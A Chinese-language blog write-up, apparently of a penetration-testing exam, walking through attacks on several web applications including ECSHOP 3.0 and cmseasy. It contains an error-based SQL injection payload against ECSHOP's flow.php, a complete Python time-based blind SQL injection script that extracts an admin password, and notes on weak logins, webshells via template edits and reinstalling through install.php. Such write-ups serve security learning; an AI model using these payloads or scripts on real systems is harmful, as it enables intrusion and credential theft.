前言
夏令营结束后,不停的在面试、笔试以及准备面试、笔试。顺带被小伙伴带着吃鸡、到处浪。emmmmm……终于体会到了充实又放荡的切切实实的暑假生活。以至于准备填的坑还没填,不过呢,快开学了。很快就能有大把的时间填完。争取9月中之前整理完毕。今天的笔试正好是这种给链接去渗透的题目,而且需要WP,正好拿来写博客(才不是我懒的再写2333
My Awesome Photoblog
嗯。。。第一题就跪了,我还是很心累的。扫描了网页目录,没有什么特殊发现,那就看看网页的逻辑。应该有一个index.php,一个cat.php,一个all.php,还有一个login.php。
index.php和all.php没有参数,所以没有思路。
cat.php参数是id,最开始认为是sql注入,所以使用if(database(),sleep(5),sleep(5))这种最简单的判断方式看是否存在注入,然而并没有。然后发现id=1=2=3,会不会是文件包含,然后尝试了几个伪协议,无果。
好吧,那我看login.php吧,试试注入,依旧无果。那就跪了。先放一边,其他做了如果有时间再来试试看是否是过滤很多的注入。
后来谷歌到了原题,admin的密码居然没有改,成功登陆。可是发现上传很奇怪,后缀是png,文件头也是png的文件头十六进制,去掉敏感字符内容依旧不能上传。。。没有办法了。切切实实的跪了
Hi,Pentester?
还是一样的,一言不合扫后台,除了一个登陆界面,也没扫到什么有用的东西。
简单查看一下登陆界面,没有明显的注入,还是先看看其他逻辑,about里面有address.txt下载,下了之后发现是四叶草的电话号码。因为news.php里面有我更感兴趣的点,所以这个号码暂时先放着。可能是简单组合字典弱口令。
news.php感觉文件包含可能性很大啊,如图:
尝试了几个伪协议,均无果。
发现一个登陆界面,SQL尝试也无果。放弃
订餐
嗯。。。有登陆注册还以为有密码重置漏洞,结果居然不能发重置邮件出去,直接抓包跳到重置布置表示验证失效,很明显还是需要什么参数或者验证成功后的cookie的啊,但是没办法发邮件等于这条思路是不可能的。
后来发现有缓存文件夹,里面有一大堆php文件,但是无法下载源代码。
install.php因为上锁了,而且判断是否上锁后退出了函数没办法绕过。
注册新用户登录后,留言可以了但是尝试XSS失败,但是可以用XFF控制ip,但是并没有什么用,不能注入也不能命令执行。不过就算成功估计也只能X自己,管理员不知道能不能看见这个留言。
修改密码也是,因为是cookie认证,没办法重置admin的密码。
找回密码发现可能有盲打XSS,写个iframe过去试试。但是并没有返回。
ECSHOP
目录扫描一下,发现有fckeditor,但是没有什么用,upload.php似乎被删掉了。install同样锁死了。发现首页最下面有个版本信息,遂看了下版本,是3.0,于是百度一下已知漏洞,发现有人审计后发现flow.php的order_id存在注入,于是测试一下,确实存在。
构造语句注入得到admin账户以及密码,但是密码在线md5未解出来。如图:
账户:admin:5009#
密码hash:a684073c5b42a5eb8461a9d6ae5c71
payload:
1 or extractvalue(1,concat(0x7e,(select distinct concat(0x23,user_name,0x3a,ec_salt,0x23)from ecs_admin_user limit 0,1))) or 1#
RAICO
老规矩扫目录,发现有个后台登录界面,而且还有盲注点。证明payload如下
界面会停止5秒再响应,所以存在时间盲注。于是写了一个脚本
# encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
database = 'web'
tables = 'rco_admin'
fields = ''
data = ''
dbpayload = '\' and if(ascii(mid(version(),%d,1))=%d'
tablepayload = "\' and if(ascii(mid((select(concat(table_name))from(information_schema.tables)where(table_schema=\'" + \
database + "\')limit 0,1),%d,1))=%d"
fieldspayload = "\' and if(ascii(mid((select(concat(column_name))from(information_schema.columns)where(table_name=\'" + tables + "\')limit 2,1),%d,1))=%d"
finalpayload = "\' and if(ascii(mid((select(admin_pw)from(rco_admin )limit 0,1),%d,1))=%d"
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
print '[%s] Start to retrive dbname:' % time.strftime('%H:%M:%S', time.localtime())
flag = ''
isEnd = False
for i in range(1, 36):
if isEnd:
break
isEnd = True
for j in range(33, 127):
url = '/admin/login.php'
start_time = time.time()
data = "UserName=admin" + finalpayload % (i, j) + \
",sleep(5),1)#&PW=admin&btnLogin=+%B5%C7%C8%EB+"
conn = httplib.HTTPConnection(
'ed15a272730fcb59.yunyansec.com', timeout=60)
conn.request(method='POST', url=url, body=data, headers=headers)
html_doc = conn.getresponse().read
# print html_doc
conn.close()
print '.',
print data
if (time.time() - start_time > 5):
isEnd = False
flag += chr(j)
print '[in progress]', flag, '\n'
break
time.sleep(0.01)
print '[Done] The Flag is %s \n' % flag
time.sleep(20)
数据库:web
表:admin_id
admin_name
admin_pw
密码:b4fe6578538b526
最开始写这种聚合、嵌套语句写的太久了。花了一两个小时修修改改才跑到表名。后来发现navicat有美化sql后,就写的比较快了。
cmseasy
有点无语。。。admin-admin弱密码登录成功了。
还准备申请一个账号重置管理员密码的
修改模板抓包保存为shell。
保存文件的地址在GET的参数里。访问后POST请求即可。如上图
myphp
又是模板。。。百度下载到v4.1的源码,审计一下。
看到安装的时候数据库名似乎存在注入,准备去试试,结果访问install.php时直接覆盖安装了。。。
如图,之后重置管理员账户,进入后台。
模板修改失败,但是找到一个上传点,直接上传php,获得shell